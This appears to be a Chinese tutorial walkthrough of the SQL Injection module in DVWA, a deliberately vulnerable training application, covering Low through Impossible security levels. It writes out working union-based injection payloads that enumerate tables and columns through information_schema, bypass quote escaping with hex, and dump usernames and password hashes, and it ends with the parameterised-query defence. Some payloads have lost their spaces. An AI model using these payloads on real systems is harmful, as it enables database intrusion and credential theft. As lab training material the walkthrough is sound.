当前位置: 首页 > news >正文

DVWA -SQL Injection-通关教程-完结

DVWA -SQL Injection-通关教程-完结

SQL注入是一种攻击者通过在应用程序的输入字段中插入恶意SQL代码,从而操纵后端数据库查询的攻击技术。如果应用程序未对用户输入进行适当过滤,这些恶意SQL代码会被数据库执行,导致数据泄露、篡改或破坏。

文章目录

  • DVWA -SQL Injection-通关教程-完结
    • Low级别SQL注入攻击实战
    • 1、页面功能测试
    • 2、SQL注入攻击
    • Medium级别SQL注入攻击实战
    • High级别SQL注入攻击实战
    • Impossible 级别SQL注入攻击

Low级别SQL注入攻击实战

1、页面功能测试

1.安全级别设置为Low,点击SQL Injection,进入SQL注入攻击页面。发现该页面是个查询,随意输入一个ID值,可以查询First nameSurname

2、SQL注入攻击

1.判断字符型还是数字型(最终结果确定为字符型!

1' //测试闭合符 1'and1=1-- //验证注入点1' and1=2-- //确认漏洞可利用性



2.判断字段数(最终字段数为2!
使用order by进行判断字段数, 至到order by进行报错时候就是字段数。

1' or 1=1 order by 1 # 1'or1=1order by2#1' or1=1order by3#

3.确定显示的字段顺序

1' unionselect1,2#

Firstname位置返回1字段,surname位置返回2字段

4.获取当前数据库

1' unionselect1,database()#

在2字段位置返回数据库名称

其他常用函数:

用户权限:user(), current_user()版本系统:version()字符串处理:concat(), substring(), ascii(), hex()文件操作:load_file(), into outfile()(需权限) 盲注相关:sleep(), benchmark(), if()时间函数:now(), current_timestamp()

5.获取数据库中的表

1' unionselect1,group_concat(table_name)from information_schema.tables wheretable_schema=database()#

得到两张表,分别是guestbookusers

注入语句详解:

1'​ //闭合原查询 union select​ //联合查询 group_concat()​ //聚合函数 group_concat(column_name)-- 将多行合并为一行 group_concat(table_name)-- 将所有表名合并 from information_schema.tables​ //元数据表 information_schema.tables表结构: +--------------------+--------------+|字段名|描述|+--------------------+--------------+|TABLE_SCHEMA|数据库名||TABLE_NAME|表名||TABLE_TYPE|表类型||ENGINE|存储引擎||TABLE_ROWS|行数||AVG_ROW_LENGTH|平均行长度||DATA_LENGTH|数据长度||CREATE_TIME|创建时间||UPDATE_TIME|更新时间|+--------------------+--------------+ 为什么用这个表: 包含所有数据库、表、列的元数据 标准SQL,所有MySQL版本都支持 普通用户有只读权限 是获取数据库结构的标准方法 wheretable_schema=database()​ - 过滤条件 table_schema字段:存储数据库名称,用于区分不同数据库中的同名表 database()函数:返回当前选中的数据库名称#​ //注释符,注释掉原SQL的剩余部分

6.获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

注入语句详解:

1'​ //闭合前面的SQL语句,结束原来的查询条件 union select 1, //添加一个新的查询,数字1是占位符,用来匹配原查询的列数 group_concat(column_name)​ ✅ 核心功能 //group_concat()​ = 把多个值合并成一个字符串 //column_name​ = 列名 //合起来:把所有列名合并成一行显示 from information_schema.columns\ //information_schema.columns​ = MySQL的系统表 //这个表里存储了所有表的所有列信息 where table_name='users' //只查询表名等于'users'的表,也就是只获取users表的列信息#//注释符号,把后面没用的SQL代码都忽略掉

7.获取数据

1' or1=2unionselectuser, password fromusers#

Medium级别SQL注入攻击实战

1.安全级别设置为Medium,进入SQL注入攻击页面,发现在前端页面设置了下拉选择表单,控制用户输入。

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

1.判断注入类型
因为前端使用下拉菜单,所以得通过抓包修改参数。
这里有两个办法,每次都进行抓包修改或者使用BurpSuiteRepeater模块

1' //测试闭合符1and1=1-- //验证注入点1and1=2-- //确认漏洞可利用性



2.猜测字段数,确定回显字段顺序,获取当前数据库,获取数据库中的表
这四部分操作与Low级别差别不大,这里只附上相关语句

1unionselect1,2#1unionselectdatabase(),version()#1unionselect1,group_concat(table_name)from information_schema.tables wheretable_schema=database()#



3.获取表中字段名

1unionselect1,group_concat(column_name)from information_schema.columns wheretable_name='users'#


按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,利用十六进制绕过。
字符串-16进制转换在线工具

1unionselect1,group_concat(column_name)from information_schema.columns wheretable_name=0x7573657273#

4.获取数据

1unionselectuser,password fromusers#

High级别SQL注入攻击实战

1.设置安全级别为High,进入SQL注入攻击页面,页面使用了读显分离,有效的防止了SQLMap等自动化工具的使用。

代码审计:

<?phpif(isset($_SESSION['id'])){// Get input$id=$_SESSION['id'];// Check database$query="SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";//LIMIT 1是一个SQL查询中的限制语句,用于指定查询结果集中的最大行数。在这段代码中,它用于限制查询结果只返回一行数据,即根据会话ID获取用户的名字和姓氏。//使用LIMT1可以提高查询效率,并避免在查询结果集中返回大量数据$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>Something went wrong.</pre>');// Get resultswhile($row=mysqli_fetch_assoc($result)){// Get values$first=$row["first_name"];$last=$row["last_name"];// Feedback for end userecho"<pre>ID:{$id}<br />First name:{$first}<br />Surname:{$last}</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);}?>

绕过方式:虽然添加了LIMIT 1,但是可以通过#将其注释掉。注入过程和之前类似,在这里不做额外演示。

Impossible 级别SQL注入攻击

查看页面源码,这段代码也使用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

<?phpif(isset($_GET['Submit'])){// Check Anti-CSRF token//isset()用于检查变量是否已设置并且非 NULL。checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');/*checkToken() 是一个自定义函数,用于检查传递的安全令牌是否有效,以确保请求不是恶意伪造的。 该函数接受三个参数: user_token:从用户请求中接收的安全令牌。 session_token:存储在用户会话中的安全令牌。 redirect:重定向的页面 URL。 该函数将首先检查 user_token 和 session_token 是否匹配。如果不匹配,则可能是 CSRF 攻击,该函数将终止脚本并打印错误消息。如果匹配,则函数将返回 true。 该函数通常用于处理任何可能受到 CSRF 攻击的操作(例如表单提交)。它是一种常见的安全技术,以确保请求来自预期的来源,并且用户已经授权执行请求的操作。*? */// Get input$id=$_GET['id'];// Was a number entered?//is_numeric用于检查一个值是否为数字或数字字符串。如果值为数字或数字字符串,则该函数返回 true,否则返回 false。if(is_numeric($id)){$id=intval($id);switch($_DVWA['SQLI_DB']){caseMYSQL:// Check the database$data=$db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');$data->bindParam(':id',$id,PDO::PARAM_INT);$data->execute();$row=$data->fetch();// Make sure only 1 result is returnedaif($data->rowCount()==1){// Get values$first=$row['first_name'];$last=$row['last_name'];// Feedback for end userecho"<pre>ID:{$id}<br />First name:{$first}<br />Surname:{$last}</pre>";}break;caseSQLITE:global$sqlite_db_connection;$stmt=$sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;');$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result=$stmt->execute();$result->finalize();if($result!==false){// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns=$result->numColumns();if($num_columns==2){$row=$result->fetchArray();// Get values$first=$row['first_name'];$last=$row['last_name'];// Feedback for end userecho"<pre>ID:{$id}<br />First name:{$first}<br />Surname:{$last}</pre>";}}break;}}}// Generate Anti-CSRF tokengenerateSessionToken();?>
http://www.cnnetsun.cn/news/114802.html

相关文章:

  • AI大模型:未来就业的吞噬者还是创造者?揭秘其对普通人工作的影响!
  • 0x3f第七天 二叉搜索树
  • 扩容U盘,资料毁灭盘
  • 数据结构学习篇(5)---顺序表和链表的区别
  • 基于Vue.js和Spring Boot的新能源汽车充电站管理系统的设计与实现文献综述
  • 【Matlab】代码库:RGB三通道图像←互转→RGB次序平铺二维
  • 使用 html2canvas + jsPDF 生成PDF 的简单示例(含文字下沉修复)
  • Vue3+Monaco Editor封装及SQL编辑器实现
  • MiniCPM-V 4.5
  • Flutter工程化与协作实践指南
  • Excel技巧:提取身份证号码中的出生年月日
  • 软工毕业设计创新的开题分享
  • Oracle数据库物理备份与恢复实战指南
  • 告别“养死”魔咒!AI+知识库+物联网,打造零失败智能种植系统(附架构图+实操指南)
  • 安卓基础之《(4)—Activity组件(2)》
  • 打破数据堵点:6 大主流CRM厂商全链路数据流转能力横评与选型指南
  • 小程序毕设项目:基于springboot+微信小程序的校园活动管理系统设计与实现(源码+文档,讲解、 调试运行,定制等)
  • 小程序毕设项目:基于springboot+微信小程序的DIY电脑推荐与交流平台(源码+文档,讲解、 调试运行,定制等)
  • 小程序毕设项目:基于springboot+微信小程序的在线复习小程序(源码+文档,讲解、 调试运行,定制等)
  • 安徽做SCARA机器人的公司有哪些?
  • 【JavaWeb】MVC模式_理论简介
  • 【JavaWeb】日程管理01——登录页及数据校验功能
  • springboot中File默认路径
  • 【2025年AI 编程时代的热点】
  • 【C++ 笔记】从 C 到 C++:核心过渡 (中)
  • SQL约束解析
  • 地铁调研12-17
  • 现代软件测试工具全景对比与选型指南
  • 基于 Apache POI 的体检报告 Word 生成实战文档
  • org.jetbrains.annotations的@Nullable 学习